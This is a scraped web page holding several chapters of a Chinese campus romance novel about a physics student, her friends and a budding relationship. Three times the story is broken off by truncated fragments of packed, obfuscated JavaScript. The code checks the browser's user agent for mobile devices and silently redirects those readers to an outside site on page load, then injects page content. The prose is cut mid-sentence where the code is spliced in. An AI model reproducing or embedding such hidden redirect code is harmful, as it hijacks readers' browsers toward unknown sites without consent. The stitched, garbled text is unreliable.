d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15852866|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 职更是不少。 起初夏汀禾觉得祝朝月可能是喜欢尝试各种工作，去做一些有挑战性的，然而几次交谈发现，比起这些，她好像更需要的是物质上的。 她似乎迫切地想要实现经济独立，不依赖任何人就能养活自己。 大学里大部分人的生活费都是父母按时给，理所应当地认为工作赚钱这些应该是毕业之后的事，因此很少有人会去考虑这方面。 夏汀禾也是。 “我就是拿工资报的游泳课，上学期学完的。”说这句话的时候，祝朝月话里满是期待和欣喜。 换完了衣服，两个人朝泳池走去。 迎面走来一个女生，祝朝月熟练地和她打了个招呼：“诶，你什么时候来的？怎么都没叫我。” “我都打算走了。”女生轻拍了下她的肩膀：“敢情我在宿舍群里发的消息你都没看啊姐姐。” 短暂的寒暄完，女生忽地想起来道：“哦，对了，最近梁浩老是问我们几个你的消息。你和他没吵架吧？” 祝朝月愣了下，底气不足地说：“没有。” 她很快又笑了起来：“行，我待会儿就和他说，让他别烦你们。” 女生也没想插手别人情侣之间的事，点点头就走了。 到了泳池，夏汀禾被教练带着又学了新的内容。 这次是进一步学习泳姿。 对于平衡性不怎么好的夏汀禾来说有点难度。一个半小时忙活下来，才终于能在水里拿着浮板游那么一小段距离。 中场休息时，她看到祝朝月游了一会儿后，就坐在了岸上休息，望着远处似乎在放空。 她没能关注太久，很快又被教练叫过去复习上节课的要点。 课程结束后，已经是傍晚。 祝朝月在岸上坐了差不多一个小时，就那么撑着下巴看着窗外的天空，看着阳光一点点消失、夕阳落下，最后被黑夜笼罩。 “你上完课了？” 夏汀禾走到她面前时，祝朝月恍惚回了神，一脸不敢置信时间过得这么快。 “嗯，我已经好了。”夏汀禾拿毛巾擦了擦身上的水珠，主动挽上了她的手臂，“你等下要回学校吗？” 祝朝月有些诧异她的举动，但很快又露出一个温暖的笑：“对。” “你还没去过我们学校吧，去逛逛不？” 上完了课，夏汀禾其实是有些累了，照往常她肯定是吃完饭就直接回去休息了，但她能感觉到祝朝月此刻更需要人陪在身边，于是点了点头，答应了下来。 祝朝月带着她在A大的食堂吃了饭。 饭后消食，两个人沿着学校的绿荫大道散步。 祝朝月和夏汀禾介绍着他们学校，夏汀禾一一应和，每次都会乖乖跟着她指的方向看过去，再接话提出一些问题。 逛着逛着最后又来到了校门口附近，祝朝月停住了脚步，看着她说：“谢谢你汀禾，今天陪我这么久。” 夏汀禾摇了摇头：“我之前想来A大看看都没机会呢。” 祝朝月笑了下，隔了会儿，她眼里突然泛起了泪光，像是压抑了许久之后才开口：“其实我觉得自己可能不太适合谈恋爱。” 一看到她眼眶红了，夏汀禾就开始变得不知所措起来，着急忙慌地去包里翻找纸巾。 “不用啦，我只是突然这么想。”祝朝月拉住了她的手，擦了擦眼泪，又挤出一个笑，“可能是你今天一直陪着我，让我有点感性了，晚上回去睡一觉，明天说不定就又好了。” 夏汀禾还想说点什么，祝朝月已经抱了下她，打断了她的话。 “时间也不早了，你快点回去吧。到宿舍了记得给我发个消息。” 说完，祝朝月迅速地跑开了。 等看着她转进了宿舍楼之后，夏汀禾才朝着校门口的方向去。 大学里的夜晚也总是热闹的，一眼望过去，操场上还亮着灯，不乏有夜跑的学生。再收回视线，绿荫大道上也依旧人来人往。 祝朝月在她面前流露出来的情绪，夏汀禾多少有些受影响。 她没谈过恋爱，但渐渐开始从周围人的身上摸索到一点点的理解。 好像恋爱不全是快乐的。 会掺杂很多复杂的情感。 放空地在路上走着，快到校门口时，夏汀禾瞥到旁边一栋教学楼前拉着横幅，似乎是在举办什么活动。 再往边上一看，目光迅速捕捉到天文学院几个字。 还没等夏汀禾反应过来，几秒后，里面有人走了出来。 身高腿长的，背影都清瘦挺拔。 是她熟悉的。 心跳突然加快。 “贺祁，活动还没结束，你去哪？”身后的人还在追着问。 贺祁没回答。 直到看到夏汀禾的那一刻，他才在台阶上停了下来。 48. 热烈 是贺祁走向夏汀禾的。 等人到了眼前，夏汀禾看着他，原本想说的话忽地又不知道该怎么开口了。 她抿了下唇，许久才想出一句：“……你们学院在办活动吗？” 一句无关紧要的。 不是她想问的，也不是贺祁想听的。 喉结滚动了下，贺祁垂着眼眸，视线落在她身上，淡淡“嗯”了一声。 有了回应，夏汀禾胆子慢慢大起来，把话又拐回了自己憋了许久的：“你没去游泳馆。” 因为身后还有贺祁的同学，被人好奇地瞧着，夏汀禾的声音依旧是温软的：“我以为你会去的。” 听起来格外委屈。 让贺祁也跟着难受起来。 他本来是打算去的。 只是出发前想到上次分开时夏汀禾举动，他又立即止住了。 他想见到夏汀禾，但更担心真见面了，夏汀禾会开始疏离他。 对于很多人和事，贺祁表面上会凑个热闹，但他自己很清楚他的内心其实是冷漠的。 他不知道自己什么时候变成了这样，或许是从爷爷去世开始，也或许是更早。 因为这点，他曾被很多人说过，朋友、亲戚甚至是父母。 被说的多了，他也就理所当然地觉得他对夏汀禾也是如此。 然而那天才发觉并不是。 贺祁看她低着头的，浓密的眼睫轻颤着，语气也不由得放温柔了：“下次和你一起，行么？” 不知道是不是因为半个月没见面，之前不清不楚地突然间就没联系了，再加上前不久才共情过祝朝月的事，总之被贺祁这么一说，夏汀禾就忽地有些控制不住。 鼻尖一酸，眼里开始沁出泪花。 她掩饰着揉了下眼睛，闷闷地回了一声：“嗯……” 听出了声音的异常，贺祁立即弯下腰凑过去看她。 不想被他看到自己这样，夏汀禾抬手挡得严严实实，泪珠却开始不受控制地从脸上滑下。 她不想哭的，但没由来得感觉到心底发涩，而且在他面前也掩饰不住。 “哭什么？”没有得到回应，贺祁比她还着急，“怎么了？” “夏汀禾。”他喊了几声她的名字，夏汀禾才给了回应。 她的话依旧是抽噎着的：“……我不喜欢别人突然间就不联系我，会让我觉得我是不是做错了什么事情。” 她一股脑地全部说了出来：“如果有些事情你不想答应的话，你可以直接和我说，但是不要这样一下子就不理人了。” “如果你觉得不想和我做朋友，我们不合适，也可以告诉我。我也不会一直打扰你。” 夏汀禾最害怕在一段关系中突然被冷落，让她都来不及反应是发生了什么问题。 她很少在蔺妤和夏景年那得到关注，所以朋友的每一次邀请、回答她都会认认真真对待。 她小心翼翼地对待每一段感情，无论是友情、亲情还是爱情。 只要别人能拿出一点真心实意来对她，她就会格外满足。 这也让一段关系建立后，夏汀禾十分承受不住对方突然的态度转变。 她敏感、细心、内耗，但又偏偏最真诚、单纯、热烈。 就像是之前对付言辞，她并不是一定要追求对方要喜欢自己，只是想表明自己的态度，告诉他这件事。 现在对贺祁说的这番话，夏汀禾都不知道自己是站在什么角度、什么身份来说的。 但说出口的那一刻，她就已经在心里承认了贺祁的存在。 - 夏汀禾已经忘了自己是怎么回到宿舍的。 总之第二天醒过来后，她只记得是贺祁陪着她一起回来了的。 站在宿舍楼下，贺祁很认真地和她说了很多话，解释了一大堆事情。 他和她说了自己这半个月来在做什么、为什么没有联系她……还有很多很多。 等她点头了，贺祁才作罢，看着她上的宿舍楼。 再次打开手机一看，发现在她睡着了之后，贺祁还给她发了很长的一段话。 最后是语音给她说的晚安。 昨天是情绪上头，夏汀禾才会那样。现在完全平静清醒下来，再看到这些，免不了有些不好意思。 这时候贺祁又正好给她发了一条过来。 【醒了么？】 夏汀禾摸了摸通红的脸颊，掠过了他上面的话，直接回了这句：【刚刚起床】 但贺祁似乎就偏偏要问：【上面发的看了没？】 夏汀禾撒了个谎：【没有】 其实已经看完了，所以才会难以为情。 贺祁：【好，那我等你看完再说】 夏汀禾：“……” 他突然这么认真对待起这件事来，夏汀禾更加有些窘迫了。 好在这时床沿突然被人拍了拍，打断了夏汀禾的思绪。 “汀妹！你还没醒吗？还有半小时要上课了哦。” 夏汀禾这时候记起来他们还有九点公共课要上，她随便回了贺祁一句“好”，就立刻放下手机，洗漱完赶去了教室。 公共课是学院里几个专业混在一起上的，顺着楼道往上走时，四周都是满当当的人。 夏汀禾照例跟着室友走，黎穗往后一看，发现她被人挤了后面，又等了她一会儿。 “汀妹你今天怎么这么迟才起？昨天游泳太累了么？” 夏汀禾一般是她们宿舍第二早起的，第一是应忱。像今天这样等她们两个踩点的洗漱完了、她还在床上躺着的情况几乎没有过。 夏汀禾没好意思说是因为晚上哭了一场太累了，回来直接沉睡了过去连闹钟都没听见。 “嗯，昨天回来就有点困了……”她只得应了一声，让黎穗以为是游泳的缘故。 黎穗若有所思：“看来游泳对改善睡眠质量也有帮助啊。” 夏汀禾低着头，没再接话。 从楼梯上来后，迎面碰上了几个男生。 陈航先看到了夏汀禾，抬手打了招呼，接着又对她身边的几个室友笑了笑。 上次被人帮了忙，夏汀禾依旧记得，也点头回应了。 进了教室，找到位置坐下。 陈航一等人就坐在夏汀禾的后面。 黎穗用手虚掩着嘴，有感而发：“这个陈航还挺厉害的，上学期综合成绩在他们专业排第三。” “而且人也长得还挺清爽的嘛，最近校园墙上捞他的不少。” 夏汀禾倒是很少去了解其他专业的事情，听黎穗这么一说，也开始有点好奇起来。 宁苒这时插了一句：“的确还行吧，那谁出国了，咱们学院也只能找出他一个能看的了。” 放在大学校园里，陈航的确长得不错，但要是和付言辞比，自然还是没什么优势的。 黎穗没话说了：“……行吧，苒苒你赢了。” “不过他家里条件也不错哎，富二代来着，他爸是一个上市公司的董事长，挺厉害的。” 宁苒若有所思接了话：“这么一说，我倒好像还没听有谁说过付言辞家里的情况诶。” 两个人开始仔细地回忆起来，发现确实没有。 宁苒这时候凑到黎穗耳边，悄摸问：“你觉得汀妹知道吗？” 她们同时看向了夏汀禾。 夏汀禾这时正从书包里拿书出来，察觉到有人看自己，才抬了下头，小声问：“什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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虽说也不是在讲他不好的地方，但总归让本人听了多少会有些不舒服。 “我等朋友呢。”说完，陈航又往教室里看了眼。 他没说谎。 没多久，他的朋友从楼上下来，陈航便和夏汀禾道了别，先走了。 - 周末两天夏汀禾照例去图书馆看书。 一大早起来，随便在宿舍里吃了点面包应付后，她背着电脑出门。 十月多，夏天明明已经过去，早上的太阳却依旧刺眼。 夏汀禾从包里翻出防晒来，还没擦，突然就被人叫住了。 “夏汀禾。” 漫不经心的声音已经是她熟得不能再熟。 贺祁走过来接了她手中的伞，自然而然地帮她撑着。 他的动作过于迅速，夏汀禾都还没反应过来。 直到贺祁问：“不是要擦防晒？” 夏汀禾才慢慢地“哦”了一声，站在原地揭开了防晒霜的盖子，往手上倒了一点擦在了手臂上。 即便已经一个星期过去了，夏汀禾依旧没从上次自己当着他面哭的场景中缓过劲来，现在看到他，还是会有些脸热。 只有贺祁像是什么都没发生一样。 好一会儿，夏汀禾才敢开口问他：“……你怎么过来了？” “都没有和我说。” 这几天贺祁经常联系她，两个人除了上课时间，基本上时不时就会发消息聊天，弄得夏汀禾都想提醒他其实也可以不用这么频繁的。 “不可以么？”贺祁笑了下，反问她。 夏汀禾没否认，但又忍不住小声嘟囔了一句：“就是有点难解释……” 每次她都要担心室友的问话。 贺祁没听清，低了下头来听她说话：“嗯？” 夏汀禾迅速摇头。 49. 上次 到了图书馆，两个人本想找个凉快的地坐一起，但进去后才发现几乎已经没有位置可选。 有的学院即将开始期中考，来图书馆复习的人不少。 他们最后只能选了个靠着门的四人桌坐下。交流方式也自动换成了手机上发消息。 贺祁：【你们学院也有期中考？】 夏汀禾刚打开电脑，贺祁就发了一条过来问她。 夏汀禾：【没有，但是我想早点开始复习】 上学期拿了第一，喜悦过后夏汀禾想的更多的是觉得靠了运气。他们专业厉害的人不少，除了付言辞，还有几个实力比她更强的。 可能只是因为其他人没发挥好，她正好又运气好了些，才有了这样的结果。 选择物理这一行时，夏汀禾不知道自己算不算是有天赋，但抛开付言辞的因素，总归也是因为喜欢才这么做的。 所以她也希望能真的在大学里学一点东西，拿出一点成绩。 不仅仅是为了未来。 贺祁：【那上次的事什么时候说？】 上次？ 夏汀禾有些懵，转过头去看了看他，又眨了眨眼。 夏汀禾：【什么事啊？】 贺祁直接截了图发给她。 他指的是上周就发给她的那一长段话，当时急着要去上课，夏汀禾随便回了个好后，就忘记了给他答复。 现在又被他这么一提，夏汀禾再次想起了之前的场景，脸颊不由得一热。 夏汀禾：【……我还没看呢，待会儿再和你说】 贺祁这次没打算轻易就放过她：【行，待会儿是什么时候？】 夏汀禾：【吃午饭的时候】 怕他还继续追问，夏汀禾先截断了话：【我要开始复习了。你也先忙自己的事吧！】 贺祁见状，也没再打扰，拿了她的ipad登了自己的账号，随便点开了论文来看。 夏汀禾松了口气。 两个人相安无事度过了个把小时，夏汀禾按照计划啃完了专业书的一大半。直到被其中一个复杂的实验搞得有些烦躁，她起身去了茶水间接水。 这时候才抽空又看了眼贺祁给她发的话。 【怕你醒了之后又忘记今晚上说了什么，再发一遍给你】 【我从来没觉得你做的事对我来说是打扰，要是这么认为，那我从一开始就不会答应。不熟的、不想接近的人，我根本不会搭理，明白么？】 【前段时间没联系，是因为不知道该怎么和你开口，毕竟是我情绪不好，让你不舒服了。以后不会再有这样的事发生】 【至于其他的，比如我对你的看法或者是态度。我们俩相处这么久了，不用我说，你应该也感受得到吧？】 隔了许久，贺祁又补了句：【感受不到的话，那以后我更加明显点，行么？】 再看一遍，夏汀禾依旧觉得有些不好意思。 她其实就是那一刻的情绪上头，但是过了之后，很快就会平静下来。 真要到一起吃午饭的时候再说，夏汀禾当着他的面就说不出来了，于是站在茶水间里，她给贺祁回了一句： 【嗯，我知道了……】 下次就不要再提了。 发完消息，夏汀禾又在外面站了一会儿才回去。 她还没走到位置上，一往那边望去，就发现贺祁一直在看着她，脸上带着灿烂的笑。 他这副长相，本来就招女生喜欢。刚到图书馆的时候，就开始有人频频往他们这儿看，更别说他现在笑起来，看起来格外好搭讪的模样。 夏汀禾加快步子走了过去。 “去接水了？”她一坐下，贺祁就凑到了她耳边问。 “嗯。”夏汀禾轻声回了下。 贺祁又问她：“几点去吃饭？” 夏汀禾自然知道他对吃饭没什么兴趣，这么问肯定是有别的原因。 “十二点……”夏汀禾快速给了回答，又做了个“嘘”的手势，不让他再说话了。 贺祁就这么熬到了十二点。 到后面，夏汀禾都感觉到旁边时不时就有一道视线投过来看她。 她无可奈何了，只能拿便利贴写了一张，递给了他。 【不准看我，也不准和我聊天】 贺祁看完后，也给她写了一张：【嗯，那你也不准和别人聊】 夏汀禾皱了下眉，她什么时候和别人聊了？ 看到电脑上宿舍群里弹出来的消息，她才反应过来贺祁说的是谁。 夏汀禾：【那是我室友】 贺祁：【昂，也不行】 贺祁：【还是说，你要区别对待我和她们？】 夏汀禾：“……” 你和她们有什么好比的？ 夏汀禾拿他没办法了，只得暂时谁的消息都不看了，只看书。 等她完成了上午的任务，全部打卡完成时，图书馆里的一大半人都已经出去吃饭了。 夏汀禾看了眼时间，有些惊讶：“已经十二点二十了。” 她迅速整理了下桌面，转头对贺祁说：“我们去吃饭吧。” 贺祁这时慢悠悠地站起来，看着她，又重复了一遍她的话：“嗯，十二点二十了。” 心思昭然若揭——提醒她超时了。 “下次不会了……”夏汀禾有些不好意思起来，只得低着头，推着他往外走。 刚出图书馆，两个人还聊着天，忽地有人跑到夏汀禾面前。 “你好，我想问一下，你是夏汀禾学姐吗？” 面前的女生扎着高马尾，一身简单的T恤和牛仔裤，十七八岁左右的模样，看着青春又有活力。 第一次被人这么称呼，夏汀禾恍惚了一下才反应过来自己是大三的学生了，对于大一大二的来说，确实是学姐。 夏汀禾点了点头，有些腼腆地告诉女生可以不用这么客气。 “太棒了，没想到在图书馆就碰见了。我是今年刚进来的大一的，之前在我们学院的优秀学生代表墙上看见过你，觉得学姐你好优秀啊。然后我自己也有一些问题想问你，主要是关于专业分流的，想听听学姐你的意见，我们方便加一个联系方式吗？” 她说的优秀学生代表这件事夏汀禾是知道的，但她从来没有关注过。 大学里经常会举办一些交流会、经验会，专业排名数一数二的会被邀请去给学弟学妹做分享。 夏汀禾从来没有过。 所以也是第一次碰上来主动找她问意见的。 女生看着她，眼里亮晶晶的：“本来之前想找辅导员要的，但是感觉还是自己主动出击会快一点。” 没等夏汀禾回话，女生又赶紧找补：“如果你觉得有些麻烦的话，不加也可以的！” 能够得到认可和赞美，没有人会不高兴。 夏汀禾连忙摇头：“没问题的。只是我的建议也是个人的想法，具体的考虑还是需要综合多方面的条件。” 见她答应了，女生连忙应了下来。 两个人就这么顺利地加了联系方式。 加完了，女生也没打扰，摆了摆手就告了别：“那学姐我就不耽误你和男朋友吃饭啦，我先走咯。” 女生一溜烟地跑了，留下了夏汀禾在原地尴尬地站着。 这一回，贺祁就站 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大学的第一堂专业课，教授说的话，夏汀禾记得很清楚：“教科书也是人编的，免不了出错，尤其像我们这样知识在不断更新换代的学科。所以希望你们能养成自我思考的习惯，不要局限于书上的几句话。要是能自己动手做点实验，验证验证，那再好不过。” “物理这个学科最吸引人的地方，就在于你有无限的探索可能性。不同条件、不同环境中，结论是千变万化的。” 夏汀禾今天晚上打算做的实验，就是白天看书卡壳的地方。 要是不在今天弄明白，她怕自己隔不久就忘了，于是吃完午饭后，便预约了实验室。 操作并没有她想象中的那么简单。 夏汀禾不常来实验室，对仪器算不上非常熟悉，请教了一些师兄师姐之后才弄明白了个大概。 等做到最后，她一抬眼，实验室里已经只剩下了她自己。 把数据再一算，结果依旧是对不上。 已经到点了，管理人员来催，夏汀禾只好收拾好了东西回宿舍，又约了下次的。 - 一连着三天，夏汀禾都抽空去了实验室。 除了接触仪器的新鲜感外，就是数据的错误吸引着她了。 对于自己喜欢的东西，夏汀禾总是会不厌其烦地去探索，不过不得不承认，到了第三天发现仍然没成功时，她确实有些挫败感。 当天出了实验室后，夏汀禾被室友拉着去附近的livehouse玩。 她其实没什么心思，到了场地仍出神地来来回回想着那些数据。 宁苒看出了她的烦恼：“怎么吗汀妹？实验还没成功吗？” 夏汀禾扯出笑容点了点头，宁苒就立即在下一次乐队问唱什么歌时举手，报了一首夏汀禾平日里喜欢的。 被室友拉着，夏汀禾很快又融入了氛围。 她打算往前坐几排时，突然发现原来自己旁边隔着一条过道坐着的，是付言辞的一个朋友。 她记得对方叫林越。 林越原本是好奇地往她这边看，但等夏汀禾一发现，林越便立即摆了摆手，表示自己绝对没有偷看。 夏汀禾也没放在心上。 隔了几天，她又去了实验室。 只是这一次，刚启动仪器，就发现自己的书里不知道被谁夹了一张纸。 她打开来看。 上面仔细地写着，她做的这个实验的易错点和难点。 正是她需要的。 50. 温暖 livehouse的活动结束后，林越打了电话给付言辞。 两个人照例聊了一些有的没的，到了最后林越不经意地提了一嘴夏汀禾的事。 “她最近好像在做实验？不过似乎做了几天了也没成功，看起来不是很高兴。” 付言辞追问：“什么实验？” 林越一阵头皮发麻，叹了口气说：“我一个学地理的，你猜我知不知道是什么实验？” 付言辞：“……” 林越又道：“而且就算你知道了，也没办法帮忙啊。你和她……哎，我不说了。” 付言辞沉默了许久，才道：“我去问问师兄。” “去问你师兄？”林越当即惊讶了一声。 要知道，之前付言辞为了比赛在实验室泡了一个多月研究课题，也坚决不求别人，顶多是和师兄师姐问点简单基础的问题。 林越当时觉得他是一头倔驴，能够走捷径的事干嘛还要自己在那费时费力？ 后来慢慢明白，因为家里经济条件一直不好，被亲友邻居不知道帮过多少次忙，付言辞家欠的人情已经够多，所以他对这方面很是敏感，不想再让麻烦任何人。 但林越没想到，他会愿意为了夏汀禾去这么做。 即便只是这么一点小事。 - 来实验室的人也不止她一个，夏汀禾心想着大概是谁误以为是自己的书了，所以夹在了里面。 她环顾四周看了看，这时对面的一个师兄对她说：“噢，对了，小学妹，那个纸是我放的。我看你实验做好几天了，想着是不是遇到了什么困难，就顺手打印了份资料，希望对你有帮助。” 夏汀禾愣了愣，听完后立即道了谢。 被乖巧可爱的学妹道谢，男生脸一红，腼腆着摆了摆手：“不用谢我，要谢的话……” 不知道想到了什么，顺口就要说出的话瞬间就止住了。 夏汀禾好奇地看向他，男生生硬地转了个弯：“要谢的话，下次见面可以一起约顿饭啊。” 夏汀禾笑了起来，点了点头，又说了声谢谢。 等她转过头去继续做实验时，男生这才松了口气。 距离本科已经过去了差不多两年，男生哪还记得那些实验步骤，不过都是有人提前准备好发给他的罢了。 前一天晚上，男生接到了付言辞的电话，还有些稀奇。 他们都是同一个导师，但男生对于付言辞的印象也只停留在一个不好接触的师弟上。 哪能想到付言辞给他打电话的第一句就是：“师兄，可以拜托您一件事吗？” 按照他的性子，男生是绝对猜不到他会找人帮忙的，当时就脑子一懵。 后来问是什么忙，付言辞说希望他可以打印一点东西给实验室的一个女生，他就更糊涂了。 毕竟是师弟，男生一口答应了，只是疑惑：“她是你朋友吗？你怎么不直接和她说？” 付言辞没正面回答，只又礼貌地说麻烦他了，并表明自己以后会还清这个人情。 男生于是也没再追问。 现在看来，他恍然大悟。 原来是暗恋的女生啊。 - 弄明白了一直犯错的地方在哪后，夏汀禾很快纠正过来，顺利做完了实验。 拿到完美数据的那一刻，她雀跃地把消息告诉了贺祁，顺便还拍了实验的照片给他看。 贺祁很快回了消息，给她发了好几个夸夸的表情包，又问她是怎么找出错处的。 夏汀禾：【是一个师兄告诉我的，多亏了他帮忙】 贺祁：【什么师兄？和你一个导师的？】 夏汀禾解释：【不是，但他们的导师有教我们的专业课，所以也认识】 怕他多想，夏汀禾又赶紧转移话题：【你们不是也经常会处理实验数据么？一般是什么样的？】 知道她读研可能会报考自己的专业，贺祁也详细地和她讲了下这些，尽量让她听着感兴趣点。 近几天的大难题终于解决，和贺祁聊完之后，夏汀禾又去预约了游泳馆的第三次课程。 虽说学校的体育课也已经上了好几次，校内的泳池也可以随时进去，更加方便点，但自从上次分别之后，夏汀禾就一直隐隐地担心祝朝月，所以想借着去校外游泳馆的机会和她见一面。 发消息和祝朝月约好在附近的餐厅见面后，隔天中午夏汀禾就出了校门。 一路上夏汀禾坐车时还在看到时候点什么菜，顾及着祝朝月的口味，她把一些菜品划掉后才进行筛选。 确定得差不多时，却突然接到了祝朝月的电话。 她的语气火急火燎的：“汀禾，我临时有点事，今天可能不能和你一起吃饭了。你已经出学校了吗？” 夏汀禾下意识地想说是，但反应过来后，又道：“还没呢。” 电话那边的语气明显放松了些。 紧接着，夏汀禾就看见祝朝月从她坐的出租车前路过。 她在人行道上快速地前行，步子很快，低着头的模样像是急于摆脱着什么。 因为毫无方向的乱窜差点被路过的电瓶车撞到。 “师傅，就在这里停一下车吧。” 司机停了车，夏汀禾很快从车上下来。 她打算去问祝朝月是不是发生了什么事，这么着急做什么，但还没走过去，扭头就瞥见了在人群中视线死死盯住祝朝月的人。 一个高壮的男人，皮肤黝黑，眼神凶狠。 对方的追赶的速度明显比祝朝月要快，祝朝月每往前跑一段路，就会忍不住停下来回头看，眼里满是惊恐。 几百米左右的距离在不断缩短。 几乎没有犹豫，位于他们俩中间位置的夏汀禾飞快地跑了过去。 中途被人不小心把水泼在了身上也没管了，她奋力地追上了祝朝月。 感觉到有人不断靠近，祝朝月脑子一片空白，几乎要不受控制地大叫起来。 但过来的人却先握住了她的手。 “朝月。” 夏汀禾喘着气叫了她的名字。 这一声把她拉了回来。 手是温暖的。 声音也是温暖的。 意识慢慢回笼，看向夏汀禾的那一刻，祝朝月的眼泪止不住地夺眶而出。 夏汀禾拉着她的手，很快带着她进了餐厅。 和她预料的一样，发现祝朝月身边多了个人后，男人立即就停下了脚步，没再跟上来。 夏汀禾把原本订的靠窗边的位置退了，换了个角落里的。 她让祝朝月坐在位置上，自己也没离开，只麻烦服务员去接了杯水。 两个人靠着坐在角落里，祝朝月始终握着她的手，没有松开，肩膀还在忍不住地颤抖。 夏汀禾不知道发生了什么，但她能很深刻地感觉到，祝朝月在害怕。 甚至已经到达了恐惧的地步。 和她平时自信明媚的模样完全不同。 夏汀禾只能回抱住她，轻拍着她的肩膀，安慰着说没事了。 等祝朝月稍稍缓过来后，她才把温水递到了她面前，又给了她纸巾。 什么都没问，夏汀禾翻了下早在车上看过的菜单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886068|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，笑了下说：“我们先点个菜吧，我都快饿死了。” 看到她笑了，祝朝月也扯出笑容来，点了点头。 点完了餐，两个人又安静了一会儿。 夏汀禾努力回忆着以往贺祁逗她笑的那些话，也想说一些给祝朝月听缓解一下气氛，但绞尽脑汁想了许久，还是觉得自己怎么说都不对味，因此只能尴尬地扯一些日常的话题。 然而她刚准备说，祝朝月却先开了口：“他是我养父，来找我要钱的。我不给的话，他会打我。” 两句话说完了事情的来龙去脉，夏汀禾甚至都没来得及反应，但后知后觉更加诧异和心疼。 她从来没有想过祝朝月的家庭是这样的。 夏汀禾的担忧和心疼祝朝月看在眼里，回想起刚刚被握住手的那一刻，祝朝月不由自主地把所有事情都说了出来。 她是福利院的孩子，被认领后由养父母带大。原本以为是投入了一个温暖家庭的怀抱，没想到他们完全是把她当作了吸血的工具。 从小学到高中，家里的大大小小杂事家务事都是她来做，到了大学，养父母发现她有赚钱的能力了，不仅要她自己负担学费生活费，还开始要求她按时往家里打钱。 “所以我就一直到处找实习、找兼职啊。”祝朝月苦笑了下，又说：“不过怎么还是过不好啊。” 她抬头看了看天花板，明明是有灯光照着的，眼里却是灰蒙蒙的。 过了会儿，她看向夏汀禾，又道：“你之前应该是觉得我家里情况还不错对吧，抱歉啊，因为当时和你不是很熟，也不是很想说这些事，所以就瞎编了些。” 夏汀禾已经说不出话来，只下意识地摇了摇头，说没事。 “至于梁浩，我最开始追他，其实也就是想看看家里有钱又幸福的小孩是什么样的。在一起之后发现，哦，还真的和我很不一样。” “你觉得我要和他分手吗？” 太突然的一句，夏汀禾凭心底的想法直接回了她：“不要。” 她能看得出来，梁浩是很喜欢祝朝月的。 祝朝月笑了笑，眼眶却已经红了：“我一开始也这么想的，他那么喜欢我，要是我和他分手了，他会很难过的吧？” “但是即便不分手，我把这些全部都告诉了他，又怎么样呢？未来的事谁又知道会变成什么样？他会一直喜欢我吗？会喜欢多久呢？告诉他之后，就算有他帮忙，我还不是要靠自己走出来。” “而且，他帮我的已经太多了。” 夏汀禾仍然想说不要分手，但她似乎能够渐渐体会到祝朝月的心情，已经说不出口了。 这时服务员上了菜，两个人边吃着又聊了一会儿。吃完，祝朝月又完全恢复了之前的状态。 分别时，夏汀禾说自己如果是钱上面的问题，自己可以帮她。 不过祝朝月拒绝了。 “你陪我两次了，我都已经不知道怎么感谢了。这上面的事，就还是让我自己来解决吧。” 看她还是担心，祝朝月又抱了抱她，说：“放心，要是他真敢再打我，我也绝对不会忍着的，有的是办法反击。” 夏汀禾看着她打车回去的学校。 等人走了，她接到了贺祁打过来的电话，问她到游泳馆了没。 夏汀禾告诉他自己在附近的一个餐厅这边。 隔了会儿，她看着地面，又小声地喊了他的名字： “贺祁。” 听到她的声音，贺祁笑了下，懒洋洋地应了一声：“嗯。” 夏汀禾对他说： “我想你来接我，可以吗？” 51. 轨迹 本来也离得不远，走过去也就几分钟的距离，但夏汀禾却这么说了。 没问原因，贺祁也没犹豫，回了声好，挂了电话后便直接过去找她。 抵达餐厅时，看到夏汀禾正坐在外面的休息椅上看风景，脸上神色平静，他才稍微松了口气。 察觉到有人过来，夏汀禾抬头看去，正好对上贺祁的视线。 她眼里的光亮轻颤了颤。 贺祁挑了下眉，调侃着说：“嗯？还看呢，再过会儿就要迟到了。” 他弯腰拿了夏汀禾放在旁边的包，顺手就背在了自己肩上，另一只手拉着她起来：“走吧。” 两个人并肩走在人行道上，夏汀禾低着头，心情依旧有些复杂，并不怎么想讲话。贺祁大抵也是感觉到了，也没开口，只是时不时看她一眼。 于是就这么沉默着走了一路。 到了游泳馆，要去泳池了，贺祁把包递给了她，夏汀禾这时候才从前不久的事中回过神来。 她把人叫过去接自己了，结果又没理人。 心里开始愧疚起来，夏汀禾刚动了下嘴唇想道歉，贺祁看着她，却仿佛明白了什么。 “先去上课，其他的待会儿再说。” 他的语气很温柔，让夏汀禾情不自禁地点头答应了。 游泳课照例是两个小时的时长，但因为这节课的学习难度加大，教练教得细致了些，又额外延长了半小时。 快要结束时教练见夏汀禾频频往一楼看，自己也跟着往那方向瞥了眼。 来来回回几次了，教练自然也认识贺祁，再加上贺祁本身就出众，很快就在人群中找到了。 教练会心一笑：“我看下次还是加快点节奏好了。” 夏汀禾又有些不好意思起来。 她也没想到贺祁这次会直接就在一楼等着，中场休息时还会给她发消息。 出了泳池，又去了淋浴间洗澡换了衣服，收拾好后，夏汀禾才下了楼，朝贺祁走过去。 似乎能感觉到她，比她还快一步，贺祁紧接着就抬了头，看到她后立即起了身。 直到夏汀禾说想在这里休息一下，他才又坐了回去。 挤在熙熙攘攘的人群中，夏汀禾感觉到没那么冷了。 